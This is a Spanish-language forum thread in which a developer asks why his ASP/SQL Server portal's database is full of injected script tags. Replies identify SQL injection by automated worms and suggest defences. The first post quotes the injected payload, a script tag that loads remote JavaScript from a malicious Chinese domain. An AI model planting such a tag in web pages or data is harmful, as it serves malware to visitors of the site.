Necesito Opinión: Mi aplicación ASP se lleno de scripts maliciosos

[globerubi]

Hola amigos del foro les comento mi historia

Hace unos 5 años cuando era joven, desarrolle un portal de turismo con ASP y SQL SERVER 2000. El sitio ha estado funcionando bien pero el mes de Julio me di cuenta que en las tablas hay scripts maliciosos como este:

CASA DEL SUIZO<script src=http<script src=http://www.heiheinn.cn/k.js></script>

Y fue insertando y borrando en los campos de la bd, tengo alrededor de 80 tablas ya que manejaba un gran número de información. Actualmente el sitio se encuentra en la lista de sitios maliciosos de Google.

Como este sitio lo maneja un cliente y he dejado de dar soporte hace algún tiempo no tengo backups de la base de datos y tendré que usar algún respaldo cuando comenze con ese trabajo.

Mis preguntas son:
¿Como diablos se pudo insertar ese código en mi base de datos, culpa del hosting o mismo de la tecnología ?
¿Como puedo sacar de la lista de maliciosos de Google?
¿Ha tenido alguna vez un problema de este tipo?

Gracias por sus comentarios

Saludos
Globerubi

[u_goldman]

Iniciado por globerubi

Mis preguntas son:
¿Como diablos se pudo insertar ese código en mi base de datos, culpa del hosting o mismo de la tecnología ?
¿Como puedo sacar de la lista de maliciosos de Google?
¿Ha tenido alguna vez un problema de este tipo?

• Se llama SQL Injection, se ha hablado muchas veces de esto en el foro, en realidad no te va a gustar leerlo, pero no es culpa de nadie mas que tuya.
• NPI
• Si...creo que después de desarrollar por un tiempo en algún momento todos nos hemos enfrentado a un ataque de SQL Injection máxime que existen los famosos SQL worms que son autómatas encargados de envíar esas inyecciones, y se valen del descuido de los desarrolladores al programar sentencias dinámicas para inyectar el contenido dinámico.

Hazte una búsqueda, vas a encontrar varias cosas al respecto, de lo que se trata es de controlar las sentencias dinámicas, ahora si esto no es posible dada la magnitud del sistema podrías crear dependiendo de las entradas de tu sistema, permisos especiales a usuarios de SQL, de tal manera que si no es necesario que se inserten datos desde el front, tu aplicación utilice un usuario SQL de solo lectura, hay varias cosas que se pueden hacer, pero todo depende del contexto.

Saludos

[u_goldman]

Agh, moví el tema equivocadamente...esto pertenece al foro de ASP

[RootK]

de regreso jeje

movido desde foro de programacion

[Jamati]

algo parecido pasó una vez en la empresa de un amigo,
investigando en internet, descubrió que el problema era de ASP, en la forma de conectarse a la base de datos, la cual dejaba algo abierto para que se te metan.

investigá en la conexion a la base de datos, mas no te puedo decir porque no me pasó, pero lo sé por un amigo.

[u_goldman]

Iniciado por Jamati

algo parecido pasó una vez en la empresa de un amigo,
investigando en internet, descubrió que el problema era de ASP, en la forma de conectarse a la base de datos, la cual dejaba algo abierto para que se te metan.

investigá en la conexion a la base de datos, mas no te puedo decir porque no me pasó, pero lo sé por un amigo.

Mmmmhhhh...Jamati: El problema es un descuido del programador, y se puede resolver a distintos niveles, tiene algo de cierto lo que dices con la base de datos, si por ejemplo tenemos la precacución de asignar permisos específicos al usuario que se conecta en el front end de tu aplicación, pero en general es por no controlar adecuadamente las variables concatenadas a las sentencias SQL, por aca tocamos el tema mas profundamente.

Saludos

[Jamati]

Gracias por la aclaración u_goldman.

Saludos

[chwc]

mira aqui:
http://safebrowsing.clients.google.c...te=heiheinn.cn
ahi informa google que heiheinn.cn infecto a 290 sitios web entre otras cosas

[Myakire]

Iniciado por u_goldman

• Se llama SQL Injection, se ha hablado muchas veces de esto en el foro, en realidad no te va a gustar leerlo, pero no es culpa de nadie mas que tuya.
  ....

Efectivamente, no le gustó leerlo ya que no regresó